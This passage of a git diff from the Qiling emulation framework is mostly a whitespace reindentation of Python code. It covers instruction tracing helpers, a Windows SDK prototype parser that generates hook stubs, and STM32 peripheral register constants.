Trace hook callback. + """ - for record in __get_trace_records(ql, address, size, md): - line = __to_trace_line(record, symsmap) + for record in __get_trace_records(ql, address, size, md): + line = __to_trace_line(record, symsmap) - ql.log.debug(f'{faded_color}{line}{reset_color}') + ql.log.debug(f'{faded_color}{line}{reset_color}') - ql.hook_code(__trace_hook) + ql.hook_code(__trace_hook) def enable_history_trace(ql: Qiling, nrecords: int): - """Enable instruction-level tracing in history mode. + """Enable instruction-level tracing in history mode. - To allow faster execution, the trace info collected throughout program execution is not - emitted and undergo as minimal post-processing as possible. When program crahses, the - last `nrecords` trace lines are shown. + To allow faster execution, the trace info collected throughout program execution is not + emitted and undergo as minimal post-processing as possible. When program crahses, the + last `nrecords` trace lines are shown. - Args: - ql: qiling instance - nrecords: number of last records to show - """ + Args: + ql: qiling instance + nrecords: number of last records to show + """ - # enable detailed disassembly info - md = ql.arch.disassembler - md.detail = True + # enable detailed disassembly info + md = ql.arch.disassembler + md.detail = True - assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture' + assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture' - # if available, use symbols map to resolve memory accesses - symsmap = getattr(ql.loader, 'symsmap', {}) + # if available, use symbols map to resolve memory accesses + symsmap = getattr(ql.loader, 'symsmap', {}) - history: Deque[TraceRecord] = deque(maxlen=nrecords) + history: Deque[TraceRecord] = deque(maxlen=nrecords) - def __trace_hook(ql: Qiling, address: int, size: int): - """[internal] Trace hook callback. - """ + def __trace_hook(ql: Qiling, address: int, size: int): + """[internal] Trace hook callback. + """ - history.extend(__get_trace_records(ql, address, size, md)) + history.extend(__get_trace_records(ql, address, size, md)) - ql.hook_code(__trace_hook) + ql.hook_code(__trace_hook) - # replace the emulation error handler with our own so we can emit the trace - # records when program crashes. before we do that, we save the original one - # so we can call it. + # replace the emulation error handler with our own so we can emit the trace + # records when program crashes. before we do that, we save the original one + # so we can call it. - orig_emu_error = ql.os.emu_error + orig_emu_error = ql.os.emu_error - def __emu_error(*args): - # first run the original emulation error handler - orig_emu_error(*args) + def __emu_error(*args): + # first run the original emulation error handler + orig_emu_error(*args) - # then parse and emit the trace info we collected - ql.log.error(f'History:') - for record in history: - line = __to_trace_line(record, symsmap) + # then parse and emit the trace info we collected + ql.log.error(f'History:') + for record in history: + line = __to_trace_line(record, symsmap) - ql.log.error(line) + ql.log.error(line) - ql.log.error(f'') + ql.log.error(f'') - ql.os.emu_error = __emu_error + ql.os.emu_error = __emu_error diff --git a/qiling/extensions/winsdkapi.py b/qiling/extensions/winsdkapi.py index 2430b5ef7..8daf6c79b 100755 --- a/qiling/extensions/winsdkapi.py +++ b/qiling/extensions/winsdkapi.py @@ -25,132 +25,132 @@ FuncDecl = Tuple[FuncType, FuncName, FuncArgs] def parse_json(jfile: TextIO) -> Sequence[FuncDecl]: - JObj = Mapping[str, Any] + JObj = Mapping[str, Any] - def __parse_param(arg: JObj) -> Tuple[str, str]: - ptrlvl = 0 + def __parse_param(arg: JObj) -> Tuple[str, str]: + ptrlvl = 0 - while type(arg['type']) is dict and 'type' in arg['type']: - arg = arg['type'] - ptrlvl += 1 + while type(arg['type']) is dict and 'type' in arg['type']: + arg = arg['type'] + ptrlvl += 1 - aname = arg.get('name', '') - atype = arg['type'] + aname = arg.get('name', '') + atype = arg['type'] - if arg.get('data_type') == 'Ptr': - ptrlvl += 1 + if arg.get('data_type') == 'Ptr': + ptrlvl += 1 - if type(atype) is dict: - if atype['data_type'] == 'Struct': - atype = atype['name'] + if type(atype) is dict: + if atype['data_type'] == 'Struct': + atype = atype['name'] - elif atype['data_type'] == 'Enum': - # BUG: windows_sdk_data repo doesn't specify the name of the enum - atype = 'enum?' + elif atype['data_type'] == 'Enum': + # BUG: windows_sdk_data repo doesn't specify the name of the enum + atype = 'enum?' - else: - raise RuntimeError(f'unexpected data_type (atype = {atype})') + else: + raise RuntimeError(f'unexpected data_type (atype = {atype})') - return (aname, atype + '*' * ptrlvl) + return (aname, atype + '*' * ptrlvl) - def __parse_args(args: Sequence[JObj]): - upidx = 1 + def __parse_args(args: Sequence[JObj]): + upidx = 1 - for a in args: - aname, atype = __parse_param(a) + for a in args: + aname, atype = __parse_param(a) - if not aname: - if atype == 'void': - assert len(args) == 1 - continue + if not aname: + if atype == 'void': + assert len(args) == 1 + continue - aname = f'unnamedParam{upidx}' - upidx += 1 + aname = f'unnamedParam{upidx}' + upidx += 1 - yield (aname, atype) + yield (aname, atype) - decls = json.load(jfile) + decls = json.load(jfile) - def __parse_decls(decls: Sequence): - for decl in decls: - # pick up only function declarations - if decl.get('data_type') == 'FuncDecl': - ftype = decl['type'] - fname = decl['name'] - fargs = decl['arguments'] - # loc = 'api_locations' + def __parse_decls(decls: Sequence): + for decl in decls: + # pick up only function declarations + if decl.get('data_type') == 'FuncDecl': + ftype = decl['type'] + fname = decl['name'] + fargs = decl['arguments'] + # loc = 'api_locations' - func_type = __parse_param(ftype) - func_name = fname - func_args = tuple(__parse_args(fargs)) + func_type = __parse_param(ftype) + func_name = fname + func_args = tuple(__parse_args(fargs)) - assert func_type[0] == fname, 'function name is inconsistent with its return type declaration' + assert func_type[0] == fname, 'function name is inconsistent with its return type declaration' - yield (func_type[1], func_name, func_args) + yield (func_type[1], func_name, func_args) - if type(decls) is not list: - return tuple() + if type(decls) is not list: + return tuple() - return tuple(__parse_decls(decls)) + return tuple(__parse_decls(decls)) def dump_py(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]: - print(f'') - print(f'from qiling import Qiling') - print(f'from qiling.os.windows.api import *') - print(f'from qiling.os.windows.fncc import *') - print(f'') + print(f'') + print(f'from qiling import Qiling') + print(f'from qiling.os.windows.api import *') + print(f'from qiling.os.windows.fncc import *') + print(f'') - indent: Final[str] = ' ' * 4 + indent: Final[str] = ' ' * 4 - def __patch_name(aname: str) -> str: - # merely a placeholder: nothing here yet - return aname + def __patch_name(aname: str) -> str: + # merely a placeholder: nothing here yet + return aname - def __patch_type(atype: str) -> str: - return 'POINTER' if atype.endswith('*') else atype + def __patch_type(atype: str) -> str: + return 'POINTER' if atype.endswith('*') else atype - for ftype, fname, fargs in decls: - if fargs: - names = [__patch_name(a[0]) for a in fargs] - types = [__patch_type(a[1]) for a in fargs] + for ftype, fname, fargs in decls: + if fargs: + names = [__patch_name(a[0]) for a in fargs] + types = [__patch_type(a[1]) for a in fargs] - longest = max(len(n) for n in names) + longest = max(len(n) for n in names) - args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types)) - args = f'\n{args}\n' - else: - args = '' + args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types)) + args = f'\n{args}\n' + else: + args = '' - decor = f'@winsdkapi(cc={cc}, params={{{args}}})' - proto = f'def hook_{fname}(ql: Qiling, address: int, params):' - body = f'{indent}pass' + decor = f'@winsdkapi(cc={cc}, params={{{args}}})' + proto = f'def hook_{fname}(ql: Qiling, address: int, params):' + body = f'{indent}pass' - # TODO: specify return type (ftype) as a comment, or None for a 'void' + # TODO: specify return type (ftype) as a comment, or None for a 'void' - yield f'{decor}\n{proto}\n{body}\n' + yield f'{decor}\n{proto}\n{body}\n' def dump_c(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]: - # use a dimmed color for data types - def __dim(s: str) -> str: - return f'\x1b[90m{s}\x1b[39m' + # use a dimmed color for data types + def __dim(s: str) -> str: + return f'\x1b[90m{s}\x1b[39m' - for ftype, fname, fargs in decls: - yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});' + for ftype, fname, fargs in decls: + yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});' if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format') - parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes') - args = parser.parse_args() - - fmt, _, cc = args.format.partition('-') - - handler: Callable = { - 'c' : dump_c, - 'py' : dump_py - }[fmt] - - for filename in args.jfiles: - with open(filename, 'r') as jfile: - for decl in handler(parse_json(jfile), cc): - print(decl) + parser = argparse.ArgumentParser() + parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format') + parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes') + args = parser.parse_args() + + fmt, _, cc = args.format.partition('-') + + handler: Callable = { + 'c' : dump_c, + 'py' : dump_py + }[fmt] + + for filename in args.jfiles: + with open(filename, 'r') as jfile: + for decl in handler(parse_json(jfile), cc): + print(decl) diff --git a/qiling/hw/char/sam3xa_uotghs.py b/qiling/hw/char/sam3xa_uotghs.py index a97c1fad7..d3f4b210d 100644 --- a/qiling/hw/char/sam3xa_uotghs.py +++ b/qiling/hw/char/sam3xa_uotghs.py @@ -106,7 +106,7 @@ def __init__(self, ql, label, intn = None): self.intn = intn @QlPeripheral.monitor() - def read(self, offset: int, size: int) -> int: + def read(self, offset: int, size: int) -> int: buf = ctypes.create_string_buffer(size) ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size) return int.from_bytes(buf.raw, byteorder='little') diff --git a/qiling/hw/char/stm32f4xx_usart.py b/qiling/hw/char/stm32f4xx_usart.py index 8351e1afe..3e346158b 100644 --- a/qiling/hw/char/stm32f4xx_usart.py +++ b/qiling/hw/char/stm32f4xx_usart.py @@ -12,40 +12,40 @@ class STM32F4xxUsart(QlConnectivityPeripheral): class Type(ctypes.Structure): """ the structure available in : - stm32f413xx.h - stm32f407xx.h - stm32f469xx.h - stm32f446xx.h - stm32f427xx.h - stm32f401xc.h - stm32f415xx.h - stm32f412cx.h - stm32f410rx.h - stm32f410tx.h - stm32f439xx.h - stm32f412vx.h - stm32f417xx.h - stm32f479xx.h - stm32f429xx.h - stm32f412rx.h - stm32f423xx.h - stm32f437xx.h - stm32f412zx.h - stm32f401xe.h - stm32f410cx.h - stm32f405xx.h - stm32f411xe.h - """ + stm32f413xx.h + stm32f407xx.h + stm32f469xx.h + stm32f446xx.h + stm32f427xx.h + stm32f401xc.h + stm32f415xx.h + stm32f412cx.h + stm32f410rx.h + stm32f410tx.h + stm32f439xx.h + stm32f412vx.h + stm32f417xx.h + stm32f479xx.h + stm32f429xx.h + stm32f412rx.h + stm32f423xx.h + stm32f437xx.h + stm32f412zx.h + stm32f401xe.h + stm32f410cx.h + stm32f405xx.h + stm32f411xe.h + """ _fields_ = [ - ('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00 - ('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04 - ('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08 - ('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C - ('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10 - ('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14 - ('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18 - ] + ('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00 + ('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04 + ('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08 + ('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C + ('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10 + ('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14 + ('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18 + ] def __init__(self, ql, label, intn=None): diff --git a/qiling/hw/const/stm32f1xx_adc.py b/qiling/hw/const/stm32f1xx_adc.py index 94bee377f..a16a0713e 100644 --- a/qiling/hw/const/stm32f1xx_adc.py +++ b/qiling/hw/const/stm32f1xx_adc.py @@ -7,94 +7,94 @@ class ADC_SR(IntEnum): - AWD = 1 << 0 - EOS = 1 << 1 - JEOS = 1 << 2 - JSTRT = 1 << 3 - STRT = 1 << 4 + AWD = 1 << 0 + EOS = 1 << 1 + JEOS = 1 << 2 + JSTRT = 1 << 3 + STRT = 1 << 4 class ADC_CR1(IntEnum): - AWDCH = 0x1f << 0 - EOSIE = 1 << 5 - AWDIE = 1 << 6 - JEOSIE = 1 << 7 - SCAN = 1 << 8 - AWDSGL = 1 << 9 - JAUTO = 1 << 10 - DISCEN = 1 << 11 - JDISCEN = 1 << 12 - DISCNUM = 0x7 << 13 - DALMOD = 0xf << 16 - JAWDEN = 1 << 22 - AWDEN = 1 << 23 + AWDCH = 0x1f << 0 + EOSIE = 1 << 5 + AWDIE = 1 << 6 + JEOSIE = 1 << 7 + SCAN = 1 << 8 + AWDSGL = 1 << 9 + JAUTO = 1 << 10 + DISCEN = 1 << 11 + JDISCEN = 1 << 12 + DISCNUM = 0x7 << 13 + DALMOD = 0xf << 16 + JAWDEN = 1 << 22 + AWDEN = 1 << 23 class ADC_CR2(IntEnum): - ADON = 1 << 0 - CONT = 1 << 1 - CAL = 1 << 2 - RSTCAL = 1 << 3 - DMA = 1 << 8 - ALIGN = 1 << 11 - JEXTSEL = 0x7 << 12 - JEXTTRIG = 1 << 15 - EXTSEL = 0x7 << 17 - EXTTRIG = 1 << 20 - JSWSTART = 1 << 21 - SWSTART = 1 << 22 - TSVREFE = 1 << 23 + ADON = 1 << 0 + CONT = 1 << 1 + CAL = 1 << 2 + RSTCAL = 1 << 3 + DMA = 1 << 8 + ALIGN = 1 << 11 + JEXTSEL = 0x7 << 12 + JEXTTRIG = 1 << 15 + EXTSEL = 0x7 << 17 + EXTTRIG = 1 << 20 + JSWSTART = 1 << 21 + SWSTART = 1 << 22 + TSVREFE = 1 << 23 class ADC_SMPR1(IntEnum): - SMP10 = 0x7 << 0 - SMP11 = 0x7 << 3 - SMP12 = 0x7 << 6 - SMP13 = 0x7 << 9 - SMP14 = 0x7 << 12 - SMP15 = 0x7 << 15 - SMP16 = 0x7 << 18 - SMP17 = 0x7 << 21 + SMP10 = 0x7 << 0 + SMP11 = 0x7 << 3 + SMP12 = 0x7 << 6 + SMP13 = 0x7 << 9 + SMP14 = 0x7 << 12 + SMP15 = 0x7 << 15 + SMP16 = 0x7 << 18 + SMP17 = 0x7 << 21 class ADC_SMPR2(IntEnum): - SMP0 = 0x7 << 0 - SMP1 = 0x7 << 3 - SMP2 = 0x7 << 6 - SMP3 = 0x7 << 9 - SMP4 = 0x7 << 12 - SMP5 = 0x7 << 15 - SMP6 = 0x7 << 18 - SMP7 = 0x7 << 21 - SMP8 = 0x7 << 24 - SMP9 = 0x7 << 27 + SMP0 = 0x7 << 0 + SMP1 = 0x7 << 3 + SMP2 = 0x7 << 6 + SMP3 = 0x7 << 9 + SMP4 = 0x7 << 12 + SMP5 = 0x7 << 15 + SMP6 = 0x7 << 18 + SMP7 = 0x7 << 21 + SMP8 = 0x7 << 24 + SMP9 = 0x7 << 27 class ADC_SQR1(IntEnum): - SQ13 = 0x1f << 0 - SQ14 = 0x1f << 5 - SQ15 = 0x1f << 10 - SQ16 = 0x1f << 15 - L = 0xf << 20 + SQ13 = 0x1f << 0 + SQ14 = 0x1f << 5 + SQ15 = 0x1f << 10 + SQ16 = 0x1f << 15 + L = 0xf << 20 class ADC_SQR2(IntEnum): - SQ7 = 0x1f << 0 - SQ8 = 0x1f << 5 - SQ9 = 0x1f << 10 - SQ10 = 0x1f << 15 - SQ11 = 0x1f << 20 - SQ12 = 0x1f << 25 + SQ7 = 0x1f << 0 + SQ8 = 0x1f << 5 + SQ9 = 0x1f << 10 + SQ10 = 0x1f << 15 + SQ11 = 0x1f << 20 + SQ12 = 0x1f << 25 class ADC_SQR3(IntEnum): - SQ1 = 0x1f << 0 - SQ2 = 0x1f << 5 - SQ3 = 0x1f << 10 - SQ4 = 0x1f << 15 - SQ5 = 0x1f << 20 - SQ6 = 0x1f << 25 + SQ1 = 0x1f << 0 + SQ2 = 0x1f << 5 + SQ3 = 0x1f << 10 + SQ4 = 0x1f << 15 + SQ5 = 0x1f << 20 + SQ6 = 0x1f << 25 class ADC_JSQR(IntEnum): - JSQ1 = 0x1f << 0 - JSQ2 = 0x1f << 5 - JSQ3 = 0x1f << 10 - JSQ4 = 0x1f << 15 - JL = 0x3 << 20 + JSQ1 = 0x1f << 0 + JSQ2 = 0x1f << 5 + JSQ3 = 0x1f << 10 + JSQ4 = 0x1f << 15 + JL = 0x3 << 20 class ADC_DR(IntEnum): - DATA = 0xffff << 0 - ADC2DATA = 0xffff << 16 + DATA = 0xffff << 0 + ADC2DATA = 0xffff << 16 diff --git a/qiling/hw/const/stm32f1xx_dma.py b/qiling/hw/const/stm32f1xx_dma.py index a848428e8..d0a6690e5 100644 --- a/qiling/hw/const/stm32f1xx_dma.py +++ b/qiling/hw/const/stm32f1xx_dma.py @@ -7,64 +7,64 @@ class DMA_ISR(IntEnum): - GIF1 = 1 << 0 - TCIF1 = 1 << 1 - HTIF1 = 1 << 2 - TEIF1 = 1 << 3 - GIF2 = 1 << 4 - TCIF2 = 1 << 5 - HTIF2 = 1 << 6 - TEIF2 = 1 << 7 - GIF3 = 1 << 8 - TCIF3 = 1 << 9 - HTIF3 = 1 << 10 - TEIF3 = 1 << 11 - GIF4 = 1 << 12 - TCIF4 = 1 << 13 - HTIF4 = 1 << 14 - TEIF4 = 1 << 15 - GIF5 = 1 << 16 - TCIF5 = 1 << 17 - HTIF5 = 1 << 18 - TEIF5 = 1 << 19 - GIF6 = 1 << 20 - TCIF6 = 1 << 21 - HTIF6 = 1 << 22 - TEIF6 = 1 << 23 - GIF7 = 1 << 24 - TCIF7 = 1 << 25 - HTIF7 = 1 << 26 - TEIF7 = 1 << 27 + GIF1 = 1 << 0 + TCIF1 = 1 << 1 + HTIF1 = 1 << 2 + TEIF1 = 1 << 3 + GIF2 = 1 << 4 + TCIF2 = 1 << 5 + HTIF2 = 1 << 6 + TEIF2 = 1 << 7 + GIF3 = 1 << 8 + TCIF3 = 1 << 9 + HTIF3 = 1 << 10 + TEIF3 = 1 << 11 + GIF4 = 1 << 12 + TCIF4 = 1 << 13 + HTIF4 = 1 << 14 + TEIF4 = 1 << 15 + GIF5 = 1 << 16 + TCIF5 = 1 << 17 + HTIF5 = 1 << 18 + TEIF5 = 1 << 19 + GIF6 = 1 << 20 + TCIF6 = 1 << 21 + HTIF6 = 1 << 22 + TEIF6 = 1 << 23 + GIF7 = 1 << 24 + TCIF7 = 1 << 25 + HTIF7 = 1 << 26 + TEIF7 = 1 << 27 class DMA_IFCR(IntEnum): - CGIF1 = 1 << 0 - CTCIF1 = 1 << 1 - CHTIF1 = 1 << 2 - CTEIF1 = 1 << 3 - CGIF2 = 1 << 4 - CTCIF2 = 1 << 5 - CHTIF2 = 1 << 6 - CTEIF2 = 1 << 7 - CGIF3 = 1 << 8 - CTCIF3 = 1 << 9 - CHTIF3 = 1 << 10 - CTEIF3 = 1 << 11 - CGIF4 = 1 << 12 - CTCIF4 = 1 << 13 - CHTIF4 = 1 << 14 - CTEIF4 = 1 << 15 - CGIF5 = 1 << 16 - CTCIF5 = 1 << 17 - CHTIF5 = 1 << 18 - CTEIF5 = 1 << 19 - CGIF6 = 1 << 20 - CTCIF6 = 1 << 21 - CHTIF6 = 1 << 22 - CTEIF6 = 1 << 23 - CGIF7 = 1 << 24 - CTCIF7 = 1 << 25 - CHTIF7 = 1 << 26 - CTEIF7 = 1 << 27 + CGIF1 = 1 << 0 + CTCIF1 = 1 << 1 + CHTIF1 = 1 << 2 + CTEIF1 = 1 << 3 + CGIF2 = 1 << 4 + CTCIF2 = 1 << 5 + CHTIF2 = 1 << 6 + CTEIF2 = 1 << 7 + CGIF3 = 1 << 8 + CTCIF3 = 1 << 9 + CHTIF3 = 1 << 10 + CTEIF3 = 1 << 11 + CGIF4 = 1 << 12 + CTCIF4 = 1 << 13 + CHTIF4 = 1 << 14 + CTEIF4 = 1 << 15 + CGIF5 = 1 << 16 + CTCIF5 = 1 << 17 + CHTIF5 = 1 << 18 + CTEIF5 = 1 << 19 + CGIF6 = 1 << 20 + CTCIF6 = 1 << 21 + CHTIF6 = 1 << 22 + CTEIF6 = 1 << 23 + CGIF7 = 1 << 24 + CTCIF7 = 1 << 25 + CHTIF7 = 1 << 26 + CTEIF7 = 1 << 27 class DMA_CR(IntEnum): EN = 1 << 0 @@ -85,13 +85,13 @@ class DMA_CR(IntEnum): MEM2MEM = 1 << 14 class DMA(IntEnum): - PERIPH_TO_MEMORY = 0 - MEMORY_TO_PERIPH = DMA_CR.DIR + PERIPH_TO_MEMORY = 0 + MEMORY_TO_PERIPH = DMA_CR.DIR - PDATAALIGN_BYTE = 0 - PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0 - PDATAALIGN_WORD = DMA_CR.PSIZE_1 + PDATAALIGN_BYTE = 0 + PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0 + PDATAALIGN_WORD = DMA_CR.PSIZE_1 - MDATAALIGN_BYTE = 0 - MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0 - MDATAALIGN_WORD = DMA_CR.MSIZE_1 + MDATAALIGN_BYTE = 0 + MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0 + MDATAALIGN_WORD = DMA_CR.MSIZE_1 diff --git a/qiling/hw/const/stm32f4xx_dma.py b/qiling/hw/const/stm32f4xx_dma.py index e48527012..036726ee1 100644 --- a/qiling/hw/const/stm32f4xx_dma.py +++ b/qiling/hw/const/stm32f4xx_dma.py @@ -43,117 +43,117 @@ class DMA_SxCR(IntEnum): EN = 1 << 0 class DMA_SxFCR(IntEnum): - FEIE = 1 << 7 - FS = 0x7 << 3 - DMDIS = 1 << 2 - FTH = 0x3 << 0 + FEIE = 1 << 7 + FS = 0x7 << 3 + DMDIS = 1 << 2 + FTH = 0x3 << 0 class DMA_LISR(IntEnum): - TCIF3 = 1 << 27 - HTIF3 = 1 << 26 - TEIF3 = 1 << 25 - DMEIF3 = 1 << 24 - FEIF3 = 1 << 22 - TCIF2 = 1 << 21 - HTIF2 = 1 << 20 - TEIF2 = 1 << 19 - DMEIF2 = 1 << 18 - FEIF2 = 1 << 16 - TCIF1 = 1 << 11 - HTIF1 = 1 << 10 - TEIF1 = 1 << 9 - DMEIF1 = 1 << 8 - FEIF1 = 1 << 6 - TCIF0 = 1 << 5 - HTIF0 = 1 << 4 - TEIF0 = 1 << 3 - DMEIF0 = 1 << 2 - FEIF0 = 1 << 0 + TCIF3 = 1 << 27 + HTIF3 = 1 << 26 + TEIF3 = 1 << 25 + DMEIF3 = 1 << 24 + FEIF3 = 1 << 22 + TCIF2 = 1 << 21 + HTIF2 = 1 << 20 + TEIF2 = 1 << 19 + DMEIF2 = 1 << 18 + FEIF2 = 1 << 16 + TCIF1 = 1 << 11 + HTIF1 = 1 << 10 + TEIF1 = 1 << 9 + DMEIF1 = 1 << 8 + FEIF1 = 1 << 6 + TCIF0 = 1 << 5 + HTIF0 = 1 << 4 + TEIF0 = 1 << 3 + DMEIF0 = 1 << 2 + FEIF0 = 1 << 0 class DMA_HISR(IntEnum): - TCIF7 = 1 << 27 - HTIF7 = 1 << 26 - TEIF7 = 1 << 25 - DMEIF7 = 1 << 24 - FEIF7 = 1 << 22 - TCIF6 = 1 << 21 - HTIF6 = 1 << 20 - TEIF6 = 1 << 19 - DMEIF6 = 1 << 18 - FEIF6 = 1 << 16 - TCIF5 = 1 << 11 - HTIF5 = 1 << 10 - TEIF5 = 1 << 9 - DMEIF5 = 1 << 8 - FEIF5 = 1 << 6 - TCIF4 = 1 << 5 - HTIF4 = 1 << 4 - TEIF4 = 1 << 3 - DMEIF4 = 1 << 2 - FEIF4 = 1 << 0 + TCIF7 = 1 << 27 + HTIF7 = 1 << 26 + TEIF7 = 1 << 25 + DMEIF7 = 1 << 24 + FEIF7 = 1 << 22 + TCIF6 = 1 << 21 + HTIF6 = 1 << 20 + TEIF6 = 1 << 19 + DMEIF6 = 1 << 18 + FEIF6 = 1 << 16 + TCIF5 = 1 << 11 + HTIF5 = 1 << 10 + TEIF5 = 1 << 9 + DMEIF5 = 1 << 8 + FEIF5 = 1 << 6 + TCIF4 = 1 << 5 + HTIF4 = 1 << 4 + TEIF4 = 1 << 3 + DMEIF4 = 1 << 2 + FEIF4 = 1 << 0 class DMA_LIFCR(IntEnum): - CTCIF3 = 1 << 27 - CHTIF3 = 1 << 26 - CTEIF3 = 1 << 25 - CDMEIF3 = 1 << 24 - CFEIF3 = 1 << 22 - CTCIF2 = 1 << 21 - CHTIF2 = 1 << 20 - CTEIF2 = 1 << 19 - CDMEIF2 = 1 << 18 - CFEIF2 = 1 << 16 - CTCIF1 = 1 << 11 - CHTIF1 = 1 << 10 - CTEIF1 = 1 << 9 - CDMEIF1 = 1 << 8 - CFEIF1 = 1 << 6 - CTCIF0 = 1 << 5 - CHTIF0 = 1 << 4 - CTEIF0 = 1 << 3 - CDMEIF0 = 1 << 2 - CFEIF0 = 1 << 0 + CTCIF3 = 1 << 27 + CHTIF3 = 1 << 26 + CTEIF3 = 1 << 25 + CDMEIF3 = 1 << 24 + CFEIF3 = 1 << 22 + CTCIF2 = 1 << 21 + CHTIF2 = 1 << 20 + CTEIF2 = 1 << 19 + CDMEIF2 = 1 << 18 + CFEIF2 = 1 << 16 + CTCIF1 = 1 << 11 + CHTIF1 = 1 << 10 + CTEIF1 = 1 << 9 + CDMEIF1 = 1 << 8 + CFEIF1 = 1 << 6 + CTCIF0 = 1 << 5 + CHTIF0 = 1 << 4 + CTEIF0 = 1 << 3 + CDMEIF0 = 1 << 2 + CFEIF0 = 1 << 0 class DMA_HIFCR(IntEnum): - CTCIF7 = 1 << 27 - CHTIF7 = 1 << 26 - CTEIF7 = 1 << 25 - CDMEIF7 = 1 << 24 - CFEIF7 = 1 << 22 - CTCIF6 = 1 << 21 - CHTIF6 = 1 << 20 - CTEIF6 = 1 << 19 - CDMEIF6 = 1 << 18 - CFEIF6 = 1 << 16 - CTCIF5 = 1 << 11 - CHTIF5 = 1 << 10 - CTEIF5 = 1 << 9 - CDMEIF5 = 1 << 8 - CFEIF5 = 1 << 6 - CTCIF4 = 1 << 5 - CHTIF4 = 1 << 4 - CTEIF4 = 1 << 3 - CDMEIF4 = 1 << 2 - CFEIF4 = 1 << 0 + CTCIF7 = 1 << 27 + CHTIF7 = 1 << 26 + CTEIF7 = 1 << 25 + CDMEIF7 = 1 << 24 + CFEIF7 = 1 << 22 + CTCIF6 = 1 << 21 + CHTIF6 = 1 << 20 + CTEIF6 = 1 << 19 + CDMEIF6 = 1 << 18 + CFEIF6 = 1 << 16 + CTCIF5 = 1 << 11 + CHTIF5 = 1 << 10 + CTEIF5 = 1 << 9 + CDMEIF5 = 1 << 8 + CFEIF5 = 1 << 6 + CTCIF4 = 1 << 5 + CHTIF4 = 1 << 4 + CTEIF4 = 1 << 3 + CDMEIF4 = 1 << 2 + CFEIF4 = 1 << 0 class DMA_SxPAR(IntEnum): - PA = 0xffffffff << 0 + PA = 0xffffffff << 0 class DMA_SxM0AR(IntEnum): - M0A = 0xffffffff << 0 + M0A = 0xffffffff << 0 class DMA_SxM1AR(IntEnum): - M1A = 0xffffffff << 0 + M1A = 0xffffffff << 0 class DMA(IntEnum): - PERIPH_TO_MEMORY = 0 - MEMORY_TO_PERIPH = DMA_SxCR.DIR_0 - MEMORY_TO_MEMORY = DMA_SxCR.DIR_1 + PERIPH_TO_MEMORY = 0 + MEMORY_TO_PERIPH = DMA_SxCR.DIR_0 + MEMORY_TO_MEMORY = DMA_SxCR.DIR_1 - PDATAALIGN_BYTE = 0 - PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0 - PDATAALIGN_WORD = DMA_SxCR.PSIZE_1 + PDATAALIGN_BYTE = 0 + PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0 + PDATAALIGN_WORD = DMA_SxCR.PSIZE_1 - MDATAALIGN_BYTE = 0 - MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0 - MDATAALIGN_WORD = DMA_SxCR.MSIZE_1 + MDATAALIGN_BYTE = 0 + MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0 + MDATAALIGN_WORD = DMA_SxCR.MSIZE_1 diff --git a/qiling/hw/const/stm32f4xx_eth.py b/qiling/hw/const/stm32f4xx_eth.py index bbafc2945..4d6d617aa 100644 --- a/qiling/hw/const/stm32f4xx_eth.py +++ b/qiling/hw/const/stm32f4xx_eth.py @@ -2,271 +2,271 @@ class ETH_MACCR(IntEnum): - WD = 1 << 23 - JD = 1 << 22 - IFG = 0x7 << 17 - CSD = 1 << 16 - FES = 1 << 14 - ROD = 1 << 13 - LM = 1 << 12 - DM = 1 << 11 - IPCO = 1 << 10 - RD = 1 << 9 - APCS = 1 << 7 - BL = 0x3 << 5 - DC = 1 << 4 - TE = 1 << 3 - RE = 1 << 2 + WD = 1 << 23 + JD = 1 << 22 + IFG = 0x7 << 17 + CSD = 1 << 16 + FES = 1 << 14 + ROD = 1 << 13 + LM = 1 << 12 + DM = 1 << 11 + IPCO = 1 << 10 + RD = 1 << 9 + APCS = 1 << 7 + BL = 0x3 << 5 + DC = 1 << 4 + TE = 1 << 3 + RE = 1 << 2 class ETH_MACFFR(IntEnum): - RA = 1 << 31 - HPF = 1 << 10 - SAF = 1 << 9 - SAIF = 1 << 8 - PCF = 0x3 << 6 - PCF_BlockAll = 1 << 6 - PCF_ForwardAll = 1 << 7 - PCF_ForwardPassedAddrFilter = 0x3 << 6 - BFD = 1 << 5 - PAM = 1 << 4 - DAIF = 1 << 3 - HM = 1 << 2 - HU = 1 << 1 - PM = 1 << 0 + RA = 1 << 31 + HPF = 1 << 10 